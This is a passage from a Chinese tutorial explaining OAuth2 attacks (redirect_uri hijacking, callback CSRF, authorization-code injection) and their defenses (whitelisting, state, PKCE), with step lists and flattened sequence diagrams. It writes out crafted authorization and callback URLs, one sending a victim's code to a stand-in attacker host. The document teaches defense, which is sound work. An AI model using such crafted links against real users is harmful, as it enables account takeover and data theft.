    • 关键点:由于浏览器 同源策略 的保护,黑客无法窃取张三浏览器里的 SessionID Cookie。黑客虽然看到了 State 明文,但他没有那个能去 Redis 里查数据的“索引 ID”。
    1. 收网(双重校验)
    • 真用户请求:携带了 URL 里的 state=xyz 以及 浏览器自动带上的 Cookie: SessionID=sess_abc。后端拿着 sess_abc 去 Redis 查出 expected_state,发现等于 xyz -> 通过
    • 黑客请求:虽然填入了 URL 里的 state=xyz,但由于黑客没有 SessionID(或者用黑客自己的 SessionID)。后端去 Redis 查不到数据,或者查出的数据与 URL 里的 State 不匹配 -> 拒绝
  • 为了让上述防御生效,系统设计必须遵循以下原则:

    1. 后端掌控跳转:与 Cookie 方案一致,必须由后端生成跳转链接,以便后端有机会在 Redis 中记录 State 并下发 SessionID。
    2. 服务端存储:系统 B 必须具备状态存储能力(如 Redis),且 State 的存储应设置较短的过期时间(如 5-10 分钟),防止内存堆积。


安全策略


重定向劫持与 Redirect URI 校验

1. 攻击原理与流程复盘

本节阐述攻击者如何利用 AS(授权服务器)对回调地址校验的缺失,诱导 AS 将属于受害者的“授权码(Code)”发送到攻击者的服务器,从而实现账户接管。

场景预设:

  • 客户端(Client):系统 B(如某在线商城,后端持有 client_id, client_secret)。
  • 授权服务器(AS):统一认证中心。
  • 攻击者(Attacker):搭建了恶意站点 http://hacker-site.com
  • 受害者(Victim):想要登录系统 B 的普通用户。

攻击步骤详情:

  1. 构造恶意链接:
    攻击者构造一个标准的 OAuth2 授权链接,client_id 指向合法的系统 B,但在 redirect_uri 参数上做了手脚,指向攻击者的服务器:
    https://as-server.com/authorize?client_id=SystemB&response_type=code&redirect_uri=http://hacker-site.com/steal
  2. 受害者触发请求:
    攻击者通过邮件或社交媒体诱导受害者点击该链接。由于链接域名属于可信的“统一认证中心(AS)”,受害者放松警惕并点击。
  3. 用户授权:
    受害者在 AS 的登录页输入账号密码并确认授权。此时 AS 认为受害者是向合法的“系统 B”进行授权。
  4. AS 错误放行(关键漏洞点):
    AS 生成了属于受害者的 code_user。在准备重定向时,AS 未校验 请求中的 redirect_uri 是否属于系统 B 的注册白名单,直接采信了请求参数,执行 302 重定向至 http://hacker-site.com/steal?code=code_user
  5. 窃取与利用:
    受害者的浏览器跳转至攻击者站点,code_user 被记录在攻击者的服务器日志中。攻击者随即使用该 Code(若 Client 无 Secret 保护或攻击者通过其他手段获取了 Secret)向 AS 换取 Token,从而接管受害者在系统 B 的账户。
2. 攻击危害

这种被称为“开放重定向(Open Redirect)”的漏洞会导致以下严重后果:

  • 授权码泄露(Code Interception): OAuth2 流程中最核心的临时凭证直接暴露给第三方,使得原本安全的“授权码模式”安全性退化。
  • 账户接管(Account Takeover): 对于移动端 App 或单页应用(Public Client),攻击者拿到 Code 后可直接换取 Access Token,完全控制受害者账号。
  • 钓鱼信任背书: 攻击链接以 AS 官方域名开头,极具欺骗性,常被用于辅助其他网络钓鱼或恶意软件分发攻击。
3. 防御方案:白名单严格校验

为防止授权码泄露,AS 必须实施严格的“预注册+完全匹配”策略。

防御流程:

  1. 注册与配置(预处理):
    系统 B 在接入 AS 时,必须在 AS 后端的配置表(或数据库)中显式注册合法的回调地址,例如:https://system-b.com/callback
  2. 请求接收(AS 端):
    当受害者点击授权链接时,AS 接收到请求参数 redirect_uri=http://hacker-site.com/steal
  3. 严格校验(AS 端):
    AS 在生成 Code 之前,执行以下逻辑:
  • 读取 A:请求参数中的 redirect_uri
  • 读取 B:数据库中该 client_id 对应的白名单列表。
  • 判定:检查 A 是否完全等于 B 中的某一项。

攻击防御实效:
在上述攻击场景中,AS 发现请求中的 http://hacker-site.com/steal 不在系统 B 注册的白名单(https://system-b.com/callback)内。AS 将判定请求非法,直接拒绝生成 Code,并向用户返回错误提示(如 Invalid redirect_uri)。攻击者无法获取 Code,攻击链路被在源头切断。


回调攻击与state

1. 攻击原理与流程复盘

本节阐述攻击者如何利用 CSRF 漏洞,诱导受害者将其客户端账户绑定至攻击者的第三方资源账户。

场景预设:

  • 客户端(Client):中国移动邮箱(后端持有 client_id, client_secret)。
  • 授权服务器(AS):网易授权服务器。
  • 攻击者(Attacker):持有自己的网易账号与移动邮箱账号。
  • 受害者(Victim):在浏览器已登录移动邮箱(持有 accesstoken-yidong),且处于会话活跃状态。

攻击步骤详情:

  1. 攻击者获取诱饵 Code:
    攻击者在浏览器登录自己的移动邮箱账号,发起绑定网易邮箱请求。在网易授权页面登录攻击者自己的网易账号并确认授权。网易 AS 生成授权码 codeH(关联攻击者的网易 ID)。攻击者拦截重定向请求,暂停流程,保留 codeH
  2. 构造恶意请求:
    攻击者构造回调 URL:https://10086.com/oauth/login-by-code/callback?code=codeH
  3. 受害者触发请求:
    攻击者诱导受害者点击该 URL。受害者浏览器向中国移动后端发起 GET 请求,请求头携带受害者的 Cookie/Session (accesstoken-yidong),URL 参数携带攻击者的 codeH
  4. 后端令牌交换(关键漏洞点):
    中国移动后端鉴权发现当前用户为受害者,随即向网易 AS 发起令牌交换请求,参数包含:
  • client_id & client_secret(中国移动的凭证)
  • grant_type="authorization_code"
  • code=codeH(攻击者的授权码)
  • redirect_uri
  1. 绑定完成:
    网易 AS 验证通过(codeH 有效且未过期),返回 as_accesstoken(指向攻击者的网易资源)和 refresh_token。中国移动后端将该 as_accesstoken当前登录的受害者账户建立数据库映射关系。
2. 攻击危害

虽然受害者仍使用自己的移动账号,但因绑定关系被篡改,导致以下后果:

  • 数据逆向泄露(写权限滥用): 若客户端执行“备份数据到网易”操作,受害者的私密数据(邮件、通讯录)将利用 as_accesstoken 上传至攻击者的网易网盘/邮箱,造成隐私泄露。
  • 账号接管(登录劫持): 若客户端支持“使用网易账号登录”,攻击者在登录页选择网易登录,输入攻击者的网易账号。客户端后端根据绑定关系,匹配到受害者的移动账户,使攻击者成功接管受害者账户。
3. 防御方案:State 参数校验

为防止 CSRF 攻击,必须引入 state 参数以确保请求周期的连贯性与一致性。

防御流程:

  1. 生成与存储(Client 端):
    当用户发起授权请求时,中国移动后端生成一个随机不可预测的字符串(如 state=random_xyz),将其写入当前用户的 Session/Cookie 中,并将 state 作为参数发送给网易 AS。
  2. 透传(AS 端):
    网易 AS 仅做参数透传,在回调时将 state=random_xyz 原样附加在回调 URL 中。
  3. 校验(Client 端):
    当中国移动后端接收到回调请求时,执行严格的比对逻辑:
  • 读取 A:URL 参数中的 state
  • 读取 B:受害者浏览器 Session/Cookie 中存储的 state
  • 判定:若 A ≠ B(或 B 为空),则视为非法请求,拒绝执行 code 换取 Token 的操作。

攻击防御实效:
在上述攻击场景中,攻击者构造的链接携带的是攻击者的 state(或无 state),而受害者的 Session 中存储的是受害者自己的 state(或无 state)。移动后端查数据库accesstoken是用户zhangsan的,其state=zhangsan,而不是传来的state=hacker,因此返回。又由于浏览器的同源策略,攻击者无法篡改受害者的 Session,导致后端比对失败,从而成功阻断攻击。

流程图

网易授权服务器 (AS) 中国移动后端 (Client) 浏览器 (Browser) 网易授权服务器 (AS) 中国移动后端 (Client) 浏览器 (Browser) 阶段一:发起授权 & 生成 State 防御盾 关键动作:生成并存储 State 阶段二:用户授权 & State 透传 AS 不处理 state,原样返回 阶段三:回调截获 & State 校验 (防御核心) 关键动作:开箱验视 (防 CSRF) 拦截攻击! 攻击者构造的链接 state 为 hacker 或空 与受害者 Session 不匹配 alt [校验通过 (State 一致)] [校验失败 (攻击场景:State 不一致或 Session 无 State)] 受害者 (User) 点击“绑定网易邮箱” 1 发起绑定请求 (携带受害者 Session/Cookie) 2 1. 生成随机字符串 state = "random_xyz" 3 2. 将 state 存入当前用户(受害者)的 Session 中 4 302 重定向到网易 AS (参数: client_id, scope, state="random_xyz") 5 跳转请求授权 (携带 state="random_xyz") 6 返回授权/登录页面 7 输入网易账号密码并确认授权 8 提交授权信息 9 302 重定向回中国移动回调地址 (参数: code="codeNew", state="random_xyz") 10 GET /callback?code="codeNew"&state="random_xyz" (Cookie: 携带受害者的 SessionID) 11 1. 读取 URL 参数中的 state ("random_xyz") 12 2. 根据 Cookie 读取 Session 中的 state ("random_xyz") 13 3. 比对:URL_State == Session_State ? 14 POST /token (使用 code 换取 AccessToken) 15 返回 as_accesstoken 16 将 as_accesstoken 绑定到当前受害者账户 17 绑定成功提示 18 返回 403 错误:非法请求,绑定失败 19 受害者 (User)

授权码注入攻击与PKCE

1. 攻击原理与流程复盘

场景预设:

  • 客户端(Client):中国移动邮箱。
  • 授权服务器(AS):网易授权服务器。
  • 攻击者(Attacker):拥有自己的移动邮箱账号。
  • 受害者(Victim):拥有自己的移动邮箱账号和网易账号。
  • 前提:攻击者已通过某种手段(如恶意插件、系统漏洞或不安全的重定向)具备了拦截或窃取受害者 URL 参数的能力。

攻击步骤详情:

  1. 受害者发起授权与窃取:
    受害者登录中国移动邮箱,点击“代收网易邮件”。受害者跳转至网易 AS 前端完成登录并授权。网易 AS 后端生成属于受害者的授权码 codeS。此时,攻击者利用漏洞拦截该响应,窃取 codeS,并阻断受害者浏览器向中国移动前端/后端发送该 Code,导致受害者的正常流程中断。

  2. 攻击者开启恶意流程:
    攻击者在自己的浏览器登录攻击者的移动邮箱账号,并发起绑定网易邮箱请求。移动客户端后端生成属于攻击者会话的 state=state_hacker(若有)。

  3. 授权码注入:
    用code换as_accesstoken阶段,攻击者不使用网易返回给自己的授权码,而是手动构造请求发给移动服务器后端:/token?code=codeS。关键点在于,攻击者是在自己的登录会话accesstoken=accesstokenH)中发送此请求,并附带自己会话合法的 state=state_hacker

  4. 后端校验穿透:
    中国移动后端接收请求,校验发现:

    • 当前登录用户是攻击者(合法)。
    • 传入的 state 与攻击者 Session 中的 state 一致(合法)。
    • 后端无法识别 codeS 到底是谁申请的,只将其视为一个待验证的字符串。
  5. 令牌交换与错误绑定:
    中国移动后端携带 codeSclient_idclient_secret 向网易 AS 请求令牌。网易 AS 验证 codeS 有效,返回对应的 as_accesstoken(指向受害者的网易资源)。中国移动后端将该 Token 绑定到当前登录的攻击者账户下。

2. 攻击危害
  • 资源窃取: 攻击者登录自己的中国移动邮箱,即可直接查看、操作受害者的网易邮件内容。受害者对此毫无感知,因为受害者的移动账号并未发生异常,而是受害者的网易权限被“嫁接”到了黑客账号上。
3. 防御方案:PKCE (Proof Key for Code Exchange)

传统的 state 参数无法完全防御此攻击,因为攻击者使用的是自己会话中合法的 state。必须使用 PKCE 协议来确保“发起授权请求的设备”与“使用授权码兑换令牌的设备”是同一个。

1. 核心防御逻辑

PKCE 的核心在于将发起授权请求(第一步)与兑换令牌请求(最后一步)通过密码学手段强制绑定,PKCE的生命周期与用户请求的生命周期一致,一旦完成授权PKCE就会被清理。

  • PKCE 原值:术语为 code_verifier(随机生成的密钥)。
  • PKCE 哈希:术语为 code_challenge(密钥的指纹)。

2. 防御流程详解

假设黑客试图进行注入攻击,以下是系统内部发生的“隐形对抗”:

阶段一:受害者的正常流程

  1. 生成 Verifier (V):受害者登录移动邮箱,移动后端生成随机字符串 code_verifier_V,并将其存储在受害者的 Session 中(可能是redis)。
  2. 生成 Challenge (V):移动后端计算 code_challenge_V = SHA256(code_verifier_V)
  3. 发送授权请求:受害者浏览器跳转至网易 AS,参数携带 code_challenge_V
  4. AS 记录状态:网易 AS 生成 codeS,并在数据库中将 codeScode_challenge_V 强行绑定
  5. 拦截:黑客通过手段窃取了 codeS,并阻断了受害者的后续请求。

阶段二:黑客的伪造流程

  1. 黑客登录:黑客登录自己的移动邮箱账号。
  2. 生成 Verifier (H):移动后端为了黑客的这次操作,生成了全新的随机字符串 code_verifier_H,并存储在黑客的 Session 中(注意:后端并不知道黑客要干坏事,这是正常逻辑)。

阶段三:注入与拦截

  1. 注入 Code:黑客手动构造请求,将受害者的 codeS 发送给移动后端。

  2. 后端发起交换:移动后端识别当前登录用户是黑客,于是从黑客的 Session 中取出 code_verifier_H。移动后端向网易 AS 发送请求:

    • code = codeS (受害者的)
    • code_verifier = code_verifier_H (黑客的)
  3. AS 终极校验

    • 网易 AS 收到 codeS,查库发现它绑定的是 code_challenge_V
    • 网易 AS 计算收到参数的哈希值:SHA256(code_verifier_H)
    • 比对结果校验失败,拒绝颁发 Token。

流程图

网易授权服务器 (AS) 移动后端 (Client) 网易授权服务器 (AS) 移动后端 (Client) 阶段一:受害者正常流程 (埋下 PKCE 锚点) 关键动作:生成 Verifier V 关键动作:绑定 Challenge 攻击者窃取 codeS 受害者流程中断 阶段二:攻击者准备恶意环境 关键动作:生成 Verifier H 阶段三:注入攻击与 PKCE 防御 (终极对决) 后端逻辑 (不知情) 关键动作:哈希校验 受害者 (Victim) 攻击者 (Hacker) 1. 请求“代收网易邮件” (Session: 受害者) 1 生成 code_verifier_V 计算 code_challenge_V = SHA256(verifier_V) 2 存储 verifier_V 到受害者 Session 3 302 重定向到网易 AS (参数: code_challenge_V) 4 2. 跳转授权 (携带 code_challenge_V) 5 生成 codeS 6 数据库绑定: codeS <--> code_challenge_V 7 3. 返回 codeS (被攻击者拦截!) 8 4. 登录自己的移动账号,发起绑定 (Session: 攻击者) 9 生成 code_verifier_H (属于黑客的密钥) 10 存储 verifier_H 到攻击者 Session 11 302 重定向 (黑客无视此响应) 12 5. 伪造请求: /token?code=codeS (Cookie: 攻击者的 Session) 13 识别当前用户是攻击者 14 从攻击者 Session 取出 verifier_H 15 6. 换取 Token 请求 code=codeS code_verifier=verifier_H 16 取出 codeS 绑定的 challenge_V 17 计算 Hash(verifier_H) 18 比对: Hash(verifier_H) != challenge_V 19 7. 返回 400 Error: invalid_grant (校验失败) 20 绑定失败 21 受害者 (Victim) 攻击者 (Hacker)

3. 为什么黑客无法破解

你可能会问:黑客能不能拿到受害者的 code_verifier_V 呢?

  • 隔离性code_verifier_V 存储在移动邮箱的后端服务器 Session 中。除非黑客攻破了移动邮箱的服务器数据库(那是另一个层面的安全事故了),否则黑客作为一个外部用户,永远无法接触到其他用户的 Session 数据。并且移动服务器向网易授权服务器传参code_verifier与前端传给移动服务器什么参数无关,只跟当前登录用户有关,因此移动服务器传参的code_verifier只能是黑客自己的,不可能是受害者的,除非黑客能该移动服务器代码。
  • 单向性:即使黑客在第一步截获了 URL 中的 code_challenge_V,由于哈希算法(SHA256)是不可逆的,黑客无法通过 challenge 反推出 verifier
Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐